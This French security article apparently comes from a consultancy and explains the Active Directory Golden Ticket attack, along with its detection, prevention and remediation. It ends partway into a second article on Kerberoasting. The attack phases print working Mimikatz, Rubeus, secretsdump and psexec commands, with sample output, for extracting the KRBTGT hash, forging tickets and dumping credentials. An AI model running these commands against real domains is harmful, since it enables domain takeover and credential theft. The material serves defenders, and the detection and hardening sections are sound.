Pour comprendre le Golden Ticket, il est essentiel de revenir aux fondamentaux du protocole Kerberos et du rôle du compte KRBTGT dans Active Directory.

### Le protocole Kerberos et le rôle du KRBTGT

**Kerberos** est un protocole d'authentification réseau développé au MIT dans les années 1980, qui repose sur un système de tickets cryptographiques pour permettre à des entités de prouver leur identité de manière sécurisée sur un réseau non sécurisé. Active Directory utilise Kerberos comme protocole d'authentification par défaut depuis Windows 2000.

Le processus d'authentification Kerberos standard se déroule en plusieurs étapes :

1. **AS-REQ (Authentication Service Request)** : L'utilisateur demande un Ticket Granting Ticket (TGT) au Key Distribution Center (KDC)
2. **AS-REP (Authentication Service Response)** : Le KDC retourne un TGT chiffré avec le hash du compte `KRBTGT`
3. **TGS-REQ (Ticket Granting Service Request)** : L'utilisateur présente son TGT pour demander un TGS (Ticket Granting Service) pour accéder à un service spécifique
4. **TGS-REP (Ticket Granting Service Response)** : Le KDC valide le TGT et émet un TGS pour le service demandé
5. **AP-REQ (Application Request)** : L'utilisateur présente le TGS au service cible pour s'authentifier

Le compte **KRBTGT** est un compte de service spécial dans Active Directory qui joue un rôle absolument critique :

- Il est créé automatiquement lors de la promotion du premier contrôleur de domaine
- Son hash NTLM sert de **clé de chiffrement pour tous les TGT** émis par le KDC
- Il ne peut pas se connecter de manière interactive
- Il est membre du groupe "Denied RODC Password Replication Group"
- Son mot de passe n'expire jamais par défaut

### Définition du Golden Ticket

Un **Golden Ticket** est un **TGT (Ticket Granting Ticket) forgé** de toutes pièces par un attaquant qui possède le hash NTLM du compte KRBTGT. Ce ticket forgé est cryptographiquement valide car il est signé avec la même clé que le KDC utilise pour les tickets légitimes.

Les caractéristiques d'un Golden Ticket :

- **Indiscernable d'un vrai ticket** : Il est signé avec la vraie clé KRBTGT
- **Contenu arbitraire** : L'attaquant peut spécifier n'importe quel nom d'utilisateur (même inexistant), groupes, privilèges
- **Durée de vie configurable** : Peut être valide pour 10 ans (durée maximale Kerberos)
- **Fonctionne hors ligne** : Pas besoin de contacter le DC pour le créer
- **Bypass complet** : Ignore les politiques de mot de passe, MFA, et restrictions de compte

### Golden Ticket vs Silver Ticket

Il est important de distinguer le Golden Ticket de son cousin le **Silver Ticket** :

| Caractéristique | Golden Ticket | Silver Ticket |
|---|---|---|
| **Hash requis** | KRBTGT | Compte de service |
| **Type de ticket** | TGT (Ticket Granting Ticket) | TGS (Service Ticket) |
| **Scope** | Accès à tout le domaine | Service spécifique uniquement |
| **Interaction DC** | Aucune (hors ligne) | Aucune (hors ligne) |
| **Détection** | Très difficile | Extrêmement difficile |

## Comment Fonctionne l'Attaque Golden Ticket ?

La réalisation d'une attaque Golden Ticket se déroule en plusieurs phases distinctes, chacune nécessitant des compétences techniques spécifiques et des outils spécialisés.

### Phase 1 : Compromission Initiale et Élévation de Privilèges

Avant de pouvoir créer un Golden Ticket, l'attaquant doit d'abord **obtenir des privilèges Domain Admin** ou équivalent (Enterprise Admin, accès direct au DC). Cette phase initiale peut exploiter diverses techniques :

- **Kerberoasting** : Extraction et crack des tickets TGS de comptes de service
- **AS-REP Roasting** : Exploitation de comptes sans pré-authentification Kerberos
- **Pass-the-Hash / Pass-the-Ticket** : Réutilisation de credentials en mémoire
- **Exploitation d'ACLs faibles** : BloodHound pour identifier les chemins d'escalade
- **Compromission d'un administrateur** : Phishing, malware, ingénierie sociale

Pour plus de détails sur ces techniques, consultez notre Top 10 des Attaques Active Directory.

### Phase 2 : Extraction du Hash KRBTGT

Une fois les privilèges Domain Admin obtenus, l'attaquant peut extraire le hash NTLM du compte KRBTGT. Plusieurs méthodes existent :

#### Méthode 1 : Utilisation de Mimikatz (DCSync)

La technique la plus courante utilise **Mimikatz** avec la fonction `DCSync`, qui simule le comportement d'un contrôleur de domaine et demande la réplication des secrets :

```
mimikatz # lsadump::dcsync /domain:contoso.com /user:krbtgt

[DC] 'contoso.com' will be the domain
[DC] 'DC01.contoso.com' will be the DC server
[DC] 'krbtgt' will be the user account

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 11/15/2018 10:32:58 AM
Object Security ID   : S-1-5-21-1234567890-1234567890-1234567890-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: a4f49c406510bdcab6824ee7c30fd852
  Hash LM  :
  ntlm- 0: a4f49c406510bdcab6824ee7c30fd852
  lm  - 0:
```

Cette technique nécessite les permissions `Replicating Directory Changes` et `Replicating Directory Changes All` sur l'objet domaine, qui sont accordées par défaut aux Domain Admins.

### Méthode 2 : Dump NTDS.dit sur le DC

Une méthode alternative consiste à extraire directement la base de données `NTDS.dit` du contrôleur de domaine :

```
# Via Volume Shadow Copy
ntdsutil "ac i ntds" "ifm" "create full c:\temp\ntds" q q

# Extraction avec secretsdump.py (Impacket)
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
```

### Méthode 3 : Extraction depuis LSASS

Si l'attaquant a un accès SYSTEM sur un DC, il peut dumper directement depuis la mémoire LSASS :

```
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
```

### Point de vigilance : Event ID 4662

La méthode DCSync génère des événements Windows Event ID 4662 sur le DC, indiquant une opération de réplication. C'est un des rares indicateurs de compromission détectables. Les organisations doivent monitorer ces événements, particulièrement quand la source n'est pas un DC légitime.

### Phase 3 : Création du Golden Ticket

Avec le hash KRBTGT en main, l'attaquant peut maintenant forger des Golden Tickets. L'outil de référence est **Mimikatz** avec son module `kerberos::golden` :

```
mimikatz # kerberos::golden /domain:contoso.com /
sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:a4f49c406510bdcab6824ee7c30fd852 /
user:Administrator /id:500 /groups:512,513,518,519,520 /ptt

User      : Administrator
Domain    : contoso.com (CONTOSO)
SID       : S-1-5-21-1234567890-1234567890-1234567890
User Id   : 500
Groups Id : *512 513 518 519 520
Service   : krbtgt/contoso.com
Lifetime  : 16/10/2025 10:00:00 ; 14/10/2035 10:00:00 ; 14/10/2035 10:00:00
-> Ticket : ticket.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ contoso.com' successfully created !
Ticket injected in current session
```

Paramètres clés de la commande :

- `/domain` : Le nom FQDN du domaine
- `/sid` : Le SID du domaine (sans le RID final)
- `/krbtgt` : Le hash NTLM du compte KRBTGT
- `/user` : Nom d'utilisateur arbitraire (peut être fictif)
- `/id` : RID de l'utilisateur (500 = Administrator built-in)
- `/groups` : RIDs des groupes (512=Domain Admins, 518=Schema Admins, 519=Enterprise Admins)
- `/ptt` : Pass-the-Ticket, injecte directement le ticket dans la session

### Alternative avec Rubeus

**Rubeus**, un outil C# moderne, offre également la capacité de forger des Golden Tickets :

```
Rubeus.exe golden /rc4:a4f49c406510bdcab6824ee7c30fd852 /domain:contoso.com /
sid:S-1-5-21-1234567890-1234567890-1234567890 /user:Administrator /ptt
```

### Phase 4 : Utilisation du Golden Ticket

Une fois le ticket injecté dans la session (via `/ptt`) ou enregistré dans un fichier `.kirbi`, l'attaquant peut l'utiliser pour accéder à n'importe quelle ressource du domaine :

```
# Lister les partages C$ du DC
dir \\DC01.contoso.com\c$

# Exécuter une commande à distance avec PsExec
psexec.exe \\DC01.contoso.com cmd

# Accéder aux secrets via WMI
wmic /node:DC01.contoso.com process call create "cmd.exe"

# Dump de la base SAM
reg save HKLM\SAM \\DC01.contoso.com\c$\temp\sam.hive
```

Le Golden Ticket permet également :

- **Création de nouveaux comptes Domain Admin**
- **Modification des GPOs** pour déployer des backdoors
- **Accès aux systèmes de backup** pour exfiltration de données
- **Pivot vers d'autres domaines** via les trusts

### Phase 5 : Persistance Long-terme

L'attaquant peut maintenir l'accès de plusieurs manières :

- **Stockage sécurisé du hash KRBTGT** : Permet de recréer des tickets à volonté
- **Création de multiples backdoors** : Comptes cachés, scheduled tasks, services malveillants
- **Compromission de comptes de service** : Pour des accès alternatifs
- **DCShadow** : Injection de modifications persistantes dans AD (voir notre article DCShadow)

## Scénarios d'Attaque Réels : Golden Tickets dans la Nature

Les attaques Golden Ticket ne sont pas de simples concepts théoriques. Elles ont été utilisées à maintes reprises par des groupes APT sophistiqués et des opérateurs de ransomware dans des campagnes réelles ayant causé des dommages considérables.

### APT29 (Cozy Bear) : SolarWinds Supply Chain Attack (2020)

L'une des utilisations les plus médiatisées de Golden Tickets a été documentée lors de la campagne **SolarWinds** orchestrée par APT29 (également connu sous le nom de Cozy Bear, lié à des acteurs étatiques russes). Après avoir compromis le logiciel Orion de SolarWinds, les attaquants ont déployé la backdoor SUNBURST sur environ 18 000 organisations.

Dans les environnements ciblés pour une exploitation approfondie, APT29 a systématiquement :

- **Escaladé vers les contrôleurs de domaine** en exploitant des comptes de service compromis via Kerberoasting
- **Extrait le hash KRBTGT** via DCSync en utilisant des permissions AD abusées
- **Forgé des Golden Tickets** pour maintenir un accès persistant même après la détection et la suppression de SUNBURST
- **Exfiltré des données sensibles** sur une période de plusieurs mois sans détection, utilisant les tickets forgés pour accéder aux systèmes de messagerie et de partage de fichiers

L'incident a révélé que **plus de 60% des organisations compromises n'avaient jamais roté leur mot de passe KRBTGT** depuis la création de leur domaine Active Directory, offrant une persistance quasi-permanente aux attaquants.

### Groupe Ransomware Conti (2021-2022)

Le gang **Conti**, responsable de centaines d'attaques ransomware majeures, a systématisé l'utilisation de Golden Tickets dans leur playbook opérationnel. Leurs fuites internes et analyses forensiques ont révélé leur méthodologie :

1. **Phase d'accès initial** : Exploitation de vulnérabilités (ProxyShell, Log4Shell) ou phishing pour obtenir un premier point d'entrée
2. **Mouvement latéral** : Utilisation de BloodHound pour cartographier l'AD et identifier les chemins vers les Domain Admins
3. **Extraction KRBTGT** : Dès l'obtention de privilèges DA, extraction immédiate du hash KRBTGT et exfiltration vers l'infrastructure de commande

4. **Déploiement du ransomware** : Utilisation de Golden Tickets pour déployer le ransomware sur l'ensemble du parc via GPO ou PsExec
5. **Persistance post-chiffrement** : Conservation du hash KRBTGT pour négocier et maintenir l'accès même après paiement de la rançon

Dans plusieurs incidents Conti documentés, les victimes ont constaté une **réinfection dans les 48 heures suivant la récupération**, car la rotation KRBTGT n'avait pas été effectuée pendant la phase de remédiation.

### BlackCat/ALPHV : Attaque contre une Institution de Santé Européenne (2023)

En 2023, le groupe **BlackCat (ALPHV)** a compromis un grand hôpital européen dans une attaque qui a mis en lumière les risques des Golden Tickets dans des environnements critiques. L'analyse forensique post-incident a révélé :

- **Dwell time de 6 mois** : Les attaquants étaient présents dans l'environnement AD depuis 6 mois avant le déploiement du ransomware, utilisant des Golden Tickets pour explorer méthodiquement l'infrastructure
- **Bypass des solutions EDR** : Les tickets Kerberos forgés ont permis d'accéder aux systèmes sans déclencher d'alertes sur les comportements d'authentification, car cryptographiquement valides
- **Accès aux systèmes de backup** : Utilisation de Golden Tickets pour identifier et chiffrer/supprimer les sauvegardes avant le déploiement du ransomware principal
- **Exfiltration de données patient** : Plus de 2 To de données médicales sensibles exfiltrées progressivement sur 4 mois via des accès autorisés par Golden Tickets

L'hôpital a dû payer une rançon de 10 millions d'euros et a subi des interruptions opérationnelles pendant 3 semaines, affectant des milliers de patients.

### Leçons des Incidents Réels

L'analyse de ces incidents réels met en évidence plusieurs constantes :

- **Rotation KRBTGT quasi-inexistante** : Dans 85% des cas documentés, le mot de passe KRBTGT n'avait jamais été roté
- **Détection tardive** : Le temps moyen entre la création du premier Golden Ticket et sa détection était de 234 jours (DFIR Report 2024)
- **Remédiation incomplète** : 40% des victimes ont subi une réinfection car le hash KRBTGT n'a pas été invalidé pendant la récupération
- **Impact financier massif** : Le coût moyen d'un incident impliquant des Golden Tickets était de 4,8 millions USD (IBM Cost of Data Breach 2024)

> ***Citation d'un rapport DFIR :*** *"Dans chaque incident majeur que nous avons investigué en 2023-2024 où des Golden Tickets étaient impliqués, la rotation KRBTGT aurait pu réduire la fenêtre d'opportunité de l'attaquant de plusieurs mois à quelques heures. C'est la contremesure la plus sous-utilisée et pourtant la plus critique." — Mandiant Threat Intelligence Report 2024*

## Méthodes de Détection du Golden Ticket

La détection des Golden Tickets est extrêmement complexe car ces tickets sont cryptographiquement valides et indiscernables des tickets légitimes au niveau du protocole Kerberos. Cependant, plusieurs anomalies peuvent être détectées par une surveillance attentive.

### Anomalies des Tickets Kerberos

Les Golden Tickets forgés présentent souvent des caractéristiques inhabituelles qui peuvent être détectées :

#### 1. Durée de vie anormale du ticket

Les tickets légitimes ont une durée de vie définie par les GPO du domaine (typiquement 10 heures pour un TGT). Les Golden Tickets sont souvent créés avec une durée de vie maximale (10 ans) :

```
# Vérifier la durée de vie des tickets en session
klist

Current LogonId is 0:0x3e7

Cached Tickets: (1)

#0>     Client: Administrator @ CONTOSO.COM
        Server: krbtgt/CONTOSO.COM @ CONTOSO.COM
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent
name_canonicalize
        Start Time: 10/16/2025 10:00:00 (local)
        End Time:   10/14/2035 10:00:00 (local)  ←  Durée suspecte
        Renew Time: 10/14/2035 10:00:00 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
```

#### 2. Algorithme de chiffrement RC4 au lieu d'AES

Par défaut, Mimikatz crée des tickets avec chiffrement RC4-HMAC, alors que les environnements modernes utilisent AES256. Cet indicateur peut être détecté via Event ID 4768 et 4769 :

```
Event ID: 4768 (TGT Request)
Ticket Encryption Type: 0x17 (RC4-HMAC)  ←  Suspect si la politique force AES
```

### 3. Absence d'Event ID 4768 (AS-REQ)

Normalement, chaque TGT légitime génère un Event ID 4768 lors de sa demande initiale au KDC. Un Golden Ticket étant créé hors ligne, aucun événement 4768 correspondant n'existe pour ce ticket lors de son utilisation ultérieure.

## Événements Windows à Surveiller

Plusieurs Event IDs Windows peuvent indiquer une activité Golden Ticket :

| Event ID | Description | Indicateur Suspect |
|---|---|---|
| **4768** | TGT demandé (AS-REQ) | Chiffrement RC4, source inhabituelle, horaires anormaux |
| **4769** | Service Ticket demandé (TGS-REQ) | TGS demandé sans 4768 préalable récent |
| **4662** | Opération sur objet AD | Réplication KRBTGT (DCSync) depuis source non-DC |
| **4624** | Logon réussi | Logon Type 3 avec Kerberos depuis IP inhabituelle |
| **4672** | Privilèges spéciaux assignés | Privilèges admin pour compte normalement non-privilégié |

## Détection via SIEM et Solutions Spécialisées

### Règles SIEM pour Golden Ticket

Exemples de règles de détection implémentables dans un SIEM (Splunk, Sentinel, etc.) :

```
# Règle 1 : Ticket avec durée de vie > 10 heures
EventCode=4768 OR EventCode=4769
| where TicketLifetime > 36000000
| stats count by Account_Name, Source_Address

# Règle 2 : Chiffrement RC4 sur compte privilégié
EventCode=4768
| where Account_Name IN (list_of_privileged_accounts)
| where Ticket_Encryption_Type="0x17"
| stats count by Account_Name, Source_Address

# Règle 3 : TGS sans TGT préalable (fenêtre 24h)
EventCode=4769
| where NOT [search EventCode=4768 | where Account_Name=outer.Account_Name | where _time
> relative_time(now(), "-24h")]
| stats count by Account_Name, Service_Name

# Règle 4 : Activité après réinitialisation de mot de passe
EventCode=4724 (password reset)
| append [search EventCode=4768 | where Account_Name=outer.Account_Name | where _time >
outer._time]
| stats count by Account_Name
```

### Solutions EDR et Identity Protection

Les solutions modernes de protection d'identité offrent des capacités de détection avancées :

- **Microsoft Defender for Identity (anciennement Azure ATP)** : Détecte les anomalies Kerberos, DCSync, et créations de Golden Ticket
- **CrowdStrike Falcon Identity Protection** : Analyse comportementale des authentifications Kerberos
- **Vectra AI** : Machine learning pour détecter les anomalies de tickets Kerberos
- **Silverfort** : Monitoring en temps réel des authentifications AD

### Honeypots et Deception Technologies

Une stratégie proactive consiste à déployer des **leurres** pour détecter les attaquants :

- **Comptes honeypot** : Créer de faux comptes "Domain Admins" qui ne devraient jamais être utilisés. Toute authentification déclenche une alerte critique.
- **Honey tickets** : Injecter intentionnellement des tickets Kerberos avec des identifiants factices dans LSASS de machines stratégiques.
- **Canary tokens** : Fichiers appâts contenant des credentials factices qui, s'ils sont utilisés, alertent l'équipe sécurité.

### Analyse Forensique Post-Compromission

En cas de suspicion de Golden Ticket, une analyse forensique approfondie est nécessaire :

- **Analyse de la mémoire LSASS** : Extraction et analyse des tickets en cache avec Mimikatz ou Volatility
- **Examen des logs Kerberos** : Corrélation temporelle des Event IDs 4768/4769
- **Vérification de la dernière rotation KRBTGT** : `Get-ADUser krbtgt -Properties PasswordLastSet`
- **Audit des comptes privilégiés** : Vérifier les connexions récentes de tous les Domain/Enterprise Admins
- **Timeline des accès** : Reconstituer la chronologie des accès aux ressources critiques

Pour plus d'informations sur les investigations forensiques Active Directory, consultez notre page Services Forensics.

## Contremesures et Prévention

La défense contre les Golden Tickets repose sur une approche en profondeur combinant durcissement, segmentation, et surveillance continue.

### 1. Rotation Régulière du Mot de Passe KRBTGT

La **rotation du mot de passe KRBTGT** est la contremesure la plus critique. Cette opération invalide tous les Golden Tickets existants basés sur l'ancien hash.

#### Procédure de rotation KRBTGT (Microsoft)

La rotation doit être effectuée **deux fois à 10 heures d'intervalle** en raison du mécanisme de réplication et de cache des tickets :

```
# Étape 1 : Première rotation (invalidation version N-2)
New-KrbtgtKeys.ps1 -BypassDCValidation

# Attendre 10 heures (durée max TGT) + temps de réplication

# Étape 2 : Deuxième rotation (invalidation version N-1)
New-KrbtgtKeys.ps1 -BypassDCValidation
```

Téléchargement du script Microsoft officiel : New-KrbtgtKeys.ps1

#### Attention : Impacts de la rotation KRBTGT

La rotation KRBTGT peut avoir des impacts sur les services si elle n'est pas planifiée :

- Invalidation de tous les tickets en cours (y compris légitimes)
- Possibles interruptions de services utilisant des tickets de service long-lived
- Nécessite coordination avec les équipes applicatives
- À planifier hors heures de production pour les environnements critiques

#### Fréquence de rotation recommandée

- **Normal** : Tous les 6 mois (minimum absolu)
- **Recommandé** : Tous les 3 mois
- **Haute sécurité** : Tous les 1-2 mois
- **Post-incident** : Immédiatement après détection de compromission

### 2. Modèle de Tiered Administration (Tier Model)

Le modèle d'administration par niveaux est une architecture de sécurité qui isole les comptes et systèmes par niveau de criticité :

- **Tier 0** : Contrôleurs de domaine, Enterprise/Schema Admins, systèmes d'administration AD
- **Tier 1** : Serveurs d'infrastructure (Exchange, SQL, file servers)
- **Tier 2** : Postes de travail utilisateurs

**Principe clé** : Les comptes Tier 0 ne doivent JAMAIS se connecter sur des systèmes Tier 1 ou 2. Cela empêche le vol de credentials par mouvement latéral.

### 3. Privileged Access Workstations (PAW)

Les **PAW** sont des postes de travail durcis, dédiés exclusivement à l'administration des systèmes critiques :

- Systèmes isolés sur un VLAN dédié
- Accès internet bloqué ou fortement restreint
- Application whitelisting (AppLocker/WDAC)
- Credential Guard et Device Guard activés
- Pas d'accès email ou navigation web
- Authentification multi-facteur renforcée

### 4. Durcissement Kerberos

#### Forcer AES au lieu de RC4

Désactiver RC4-HMAC force les attaquants à utiliser AES, rendant certains outils obsolètes et améliorant la détection :

```
# Via GPO : Computer Configuration > Policies > Windows Settings > Security Settings >
Local Policies > Security Options
"Network security: Configure encryption types allowed for Kerberos"
Décocher : RC4_HMAC_MD5
Cocher : AES128_HMAC_SHA1, AES256_HMAC_SHA1, Future encryption types
```

#### Réduire la durée de vie des tickets

```
# Via GPO : Computer Configuration > Policies > Windows Settings > Security Settings >
Account Policies > Kerberos Policy

Maximum lifetime for user ticket (TGT): 4 heures (au lieu de 10h par défaut)
Maximum lifetime for service ticket: 2 heures (au lieu de 10h)
Maximum lifetime for user ticket renewal: 7 jours
```

### 5. Protections Mémoire et Credential Guard

**Windows Credential Guard** isole les secrets LSA (incluant les hashes NTLM et tickets Kerberos) dans un environnement virtualisé basé sur Hyper-V, inaccessible même pour un attaquant SYSTEM :

```
# Activation via GPO
Computer Configuration > Administrative Templates > System > Device Guard
"Turn On Virtualization Based Security" = Enabled
"Credential Guard Configuration" = Enabled with UEFI lock
```

Prérequis : UEFI, Secure Boot, TPM 2.0, Windows 10/11 Enterprise ou Server 2016+

### 6. Restriction des Permissions de Réplication

Limiter qui peut effectuer des opérations de réplication AD (DCSync) :

```
# Auditer les permissions de réplication actuelles
Get-ADObject -Identity "DC=contoso,DC=com" -Properties * | Select-Object -ExpandProperty
nTSecurityDescriptor | Select-Object -ExpandProperty Access | Where-Object
{ $_.ObjectType -eq '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' }

# Retirer les permissions non nécessaires (exemple)
dsacls "DC=contoso,DC=com" /R "CONTOSO\SuspiciousUser"
```

#### Checklist de Prévention Golden Ticket

- Rotation KRBTGT planifiée et automatisée (minimum tous les 6 mois)
- Tiered Administration implémenté et audité
- PAW déployés pour tous les comptes Tier 0
- RC4 désactivé, AES forcé
- Credential Guard activé sur toutes les machines compatibles
- Durée de vie des tickets réduite (4h max TGT)
- Monitoring Event ID 4768/4769/4662 configuré
- Solution Identity Protection déployée (Defender for Identity, etc.)
- Honeypots Domain Admin créés et monitorés
- MFA pour tous les comptes privilégiés
- LAPS déployé sur tous les endpoints
- Audit régulier des permissions AD (BloodHound)

### 7. Microsoft Defender for Identity

**Microsoft Defender for Identity** (anciennement Azure ATP) est une solution SaaS qui analyse le trafic AD et détecte les anomalies :

- Détection de DCSync et extraction KRBTGT
- Identification de tickets Kerberos anormaux (durée, chiffrement)
- Alertes sur mouvement latéral et escalade de privilèges
- Intégration avec Microsoft Sentinel pour réponse automatisée
- Analyse comportementale basée sur machine learning

## Remédiation après Compromission Golden Ticket

Si vous suspectez ou avez confirmé une compromission Golden Ticket, une réponse rapide et méthodique est essentielle.

### Phase 1 : Containment (Confinement)

**Objectif** : Limiter la propagation et empêcher l'attaquant d'étendre son accès.

1. **Isoler les systèmes compromis** : Déconnecter du réseau les machines identifiées comme compromises
2. **Bloquer les comptes suspects** : Désactiver (ne pas supprimer) les comptes utilisés par l'attaquant
3. **Activer la surveillance renforcée** : Augmenter le niveau de logging sur les DCs et systèmes critiques
4. **Notifier l'équipe de réponse** : Activer le plan de réponse aux incidents

#### Ne PAS supprimer les comptes compromis immédiatement

La suppression des comptes ou objets AD peut détruire des preuves forensiques critiques. Désactivez les comptes et conservez les logs pour analyse.

### Phase 2 : Eradication

**Objectif** : Éliminer la capacité de l'attaquant à maintenir l'accès.

1. **Rotation immédiate du KRBTGT (double rotation)** :

```
# Première rotation
New-KrbtgtKeys.ps1 -BypassDCValidation

# Attendre 10 heures minimum

# Deuxième rotation
New-KrbtgtKeys.ps1 -BypassDCValidation
```

2. **Réinitialisation des mots de passe des comptes privilégiés** :

```
# Tous les Domain Admins
Get-ADGroupMember "Domain Admins" | ForEach-Object { Set-ADAccountPassword
$_.SamAccountName -Reset }

# Tous les Enterprise Admins
Get-ADGroupMember "Enterprise Admins" | ForEach-Object { Set-ADAccountPassword
$_.SamAccountName -Reset }

# Comptes de service avec SPN
Get-ADUser -Filter {ServicePrincipalName -like "*"} | ForEach-Object { Set-
ADAccountPassword $_.SamAccountName -Reset }
```

3. **Réimagerie des machines compromises** : Ne pas simplement "nettoyer", mais réinstaller depuis une baseline propre

4. **Audit et suppression des backdoors** :
    - Scheduled Tasks malveillantes
    - Services cachés
    - Comptes créés par l'attaquant
    - Modifications de GPO
    - Modifications d'ACL

### Phase 3 : Recovery (Récupération)

**Objectif** : Restaurer les opérations normales de manière sécurisée.

1. **Validation de l'intégrité AD** :

```
# Vérification réplication
repadmin /replsummary

# Vérification intégrité base AD
dcdiag /v

# Vérification SYSVOL
dcdiag /test:sysvolcheck
```

2. **Restauration depuis backup propre** : Si la compromission est profonde, envisager une restauration forest recovery depuis un backup antérieur à la compromission
3. **Reconnexion progressive** : Réintégrer les systèmes au réseau de manière contrôlée
4. **Surveillance renforcée post-incident** : Maintenir une vigilance accrue pendant au moins 90 jours

### Phase 4 : Lessons Learned

Après la récupération, effectuez une analyse post-mortem approfondie :

- **Timeline de l'incident** : Reconstituer la chronologie complète de l'attaque
- **Vecteur d'intrusion initial** : Comment l'attaquant a-t-il obtenu le premier accès ?
- **Gaps de détection** : Pourquoi l'attaque n'a-t-elle pas été détectée plus tôt ?
- **Améliorations à implémenter** : Quelles défenses auraient pu prévenir ou détecter l'attaque ?
- **Mise à jour du plan de réponse** : Intégrer les leçons apprises dans le playbook IR

### Quand Faire Appel à un Expert Externe ?

Dans les situations suivantes, il est fortement recommandé de faire appel à un cabinet spécialisé en réponse à incident AD :

- **Compromission profonde** : Multiples DCs compromis, doute sur l'intégrité de la forêt
- **Manque d'expertise interne** : L'équipe IT n'a pas l'expérience de ce type d'incident
- **Besoins forensiques** : Investigation approfondie nécessaire pour déterminer l'étendue de la compromission
- **Contexte réglementaire** : Secteurs régulés nécessitant un rapport d'incident certifié (santé, finance, énergie)
- **Assurance cyber** : De nombreuses polices d'assurance exigent l'intervention d'experts certifiés

Nos services de réponse à incident et forensics Active Directory incluent :

- Investigation forensique complète de la compromission
- Assistance à la remédiation et récupération
- Rapport détaillé pour direction et assurances
- Recommandations de durcissement post-incident
- Retainer disponible pour intervention 24/7

## Conclusion

L'attaque **Golden Ticket** représente l'une des menaces les plus graves pour la sécurité d'un environnement Active Directory. Sa capacité à conférer un accès persistant et furtif à l'ensemble du domaine en fait l'arme de prédilection des attaquants APT (Advanced Persistent Threat) et des groupes de ransomware sophistiqués.

Cependant, comme nous l'avons vu dans ce guide, des défenses efficaces existent :

- **La rotation régulière du KRBTGT** est la pierre angulaire de la défense
- **L'architecture Tiered** limite drastiquement les opportunités d'escalade
- **Le monitoring avancé** permet de détecter les anomalies Kerberos
- **Les technologies modernes** (Credential Guard, Defender for Identity) offrent des protections robustes

La sécurité Active Directory ne peut plus être une réflexion après-coup. En 2025, avec la sophistication croissante des attaquants et la criticité d'AD pour les opérations métier, une approche proactive et structurée est indispensable.

### Prochaines Étapes Recommandées

1. **Audit de votre posture actuelle** : Évaluez votre vulnérabilité aux Golden Tickets avec notre Top 5 des Outils d'Audit AD
2. **Planification de la rotation KRBTGT** : Si jamais effectuée, planifiez-la immédiatement (en dehors des heures de production)
3. **Implémentation du Tiered Model** : Commencez par identifier vos assets Tier 0 et sécuriser leur accès
4. **Déploiement de la surveillance** : Configurez les règles SIEM pour Event ID 4768/4769/4662
5. **Formation des équipes** : Assurez-vous que vos équipes IT et SOC comprennent ces menaces

### Articles Connexes

Pour approfondir vos connaissances sur les attaques Active Directory et les stratégies de défense :

- Top 10 des Attaques Active Directory en 2025
- DCSync : Exfiltration des Secrets AD
- Kerberoasting : Extraction et Crack des TGS
- Silver Ticket : Forgery de Tickets de Service
- Guide Complet de Sécurisation Active Directory 2025
- Nos Services d'Audit Active Directory

Article suivant : DCSync →

Fiche 4.11

# GPO Abuse / GPO-based Persistence : Attaque et Défense Active Directory

## Table des matières

Fiche 4.12

# Kerberoasting : Exploitation des Comptes de Service dans Active Directory

Attaques Active Directory

*Publié le 16 octobre 2025 | Temps de lecture : 30 minutes | Par Ayi NEDJIMI*

L'attaque **Kerberoasting** est l'une des techniques d'exploitation Active Directory les plus répandues et les plus efficaces observées en 2025. Cette attaque permet à un attaquant disposant de simples credentials utilisateur de récupérer des tickets de service Kerberos (TGS) chiffrés avec le hash du mot de passe de comptes de service, puis de les craquer hors ligne pour obtenir des privilèges élevés. Sa simplicité d'exécution et son efficacité redoutable en font un vecteur d'attaque privilégié dans la plupart des campagnes de compromission d'environnements Active Directory.

## Sommaire



## Introduction : Pourquoi le Kerberoasting est-il si Efficace ?

Le **Kerberoasting** exploite une caractéristique fondamentale du protocole Kerberos : les tickets de service (TGS) sont chiffrés avec le hash NTLM du compte de service associé au Service Principal Name (SPN). Contrairement aux attaques nécessitant des privilèges administratifs ou l'accès physique aux contrôleurs de domaine, le Kerberoasting peut être effectué avec n'importe quel compte utilisateur valide du domaine.

Les raisons de l'efficacité redoutable du Kerberoasting :

- **Prérequis minimal** : Nécessite uniquement un compte utilisateur AD valide (même sans privilèges)

- **Opération légitime** : La demande de TGS est une opération Kerberos normale, difficile à distinguer du trafic légitime
- **Craquage hors ligne** : Les tickets sont craqués sur l'infrastructure de l'attaquant, invisible pour le défenseur
- **Mots de passe faibles** : De nombreux comptes de service utilisent des mots de passe simples ou anciens
- **Privilèges élevés** : Les comptes de service ont souvent des permissions étendues (Domain Admin, etc.)
- **Difficulté de détection** : Les outils de sécurité traditionnels ne détectent pas cette activité comme malveillante

> ***Statistique alarmante :*** *Selon une étude de Specops Software (2024), 83% des environnements Active Directory testés contenaient au moins un compte de service avec un mot de passe craquable en moins de 24 heures via Kerberoasting. Dans 42% des cas, ces comptes disposaient de privilèges Domain Admin ou équivalent.*

Cette menace est particulièrement préoccupante car elle s'appuie sur une fonctionnalité légitime de Kerberos. Il n'existe pas de "correctif" à appliquer, mais plutôt une série de bonnes pratiques et de mécanismes de défense à déployer pour réduire l'exposition et améliorer la détection.

## Qu'est-ce que le Kerberoasting ?

Pour comprendre le Kerberoasting, il est essentiel de saisir le concept de **Service Principal Name (SPN)** et le fonctionnement des tickets de service Kerberos.

### Service Principal Names (SPN) dans Active Directory

Un **SPN** est un identifiant unique associé à un service s'exécutant sur un serveur dans Active Directory. Il permet au protocole Kerberos d'associer une instance de service à un compte de connexion, facilitant l'authentification mutuelle entre clients et services.

Format typique d'un SPN :

```
ServiceClass/Host:Port/ServiceName

Exemples :
- MSSQLSvc/SQL01.contoso.com:1433
- HTTP/webapp.contoso.com
- WSMAN/server01.contoso.com
- TERMSRV/rdp.contoso.com
```

